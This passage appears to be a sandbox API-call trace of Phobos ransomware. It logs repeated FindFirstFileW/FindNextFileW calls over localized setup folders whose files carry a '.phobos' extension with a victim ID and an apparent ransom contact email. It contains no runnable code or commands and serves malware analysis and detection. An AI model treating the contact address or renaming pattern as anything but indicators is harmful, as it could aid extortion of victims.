cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.101] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.101] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.101] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.102] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.102] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1 [0132.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.102] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.102] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.103] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.103] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.103] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.103] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.103] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.103] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1 [0132.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.104] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.104] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.104] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.104] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.104] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.104] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.105] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.105] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1 [0132.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.106] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.106] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.106] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.106] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.106] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.106] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.107] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.107] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1045", cAlternateFileName="")) returned 1 [0132.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.107] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.107] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.108] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf17afd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.108] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.108] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.108] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.109] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.109] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1046", cAlternateFileName="")) returned 1 [0132.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.162] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.162] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf3dde3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.162] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf17afd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedf17afd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee022bf6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.162] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8631dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8631dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8af716, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.162] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8631dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8631dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8af716, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.162] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.162] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.162] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1049", cAlternateFileName="")) returned 1 [0132.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.163] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.163] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf3dde3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedf3dde3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee022bf6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.163] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee022bf6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee022bf6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee368188, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0x0, dwReserved1=0x0, 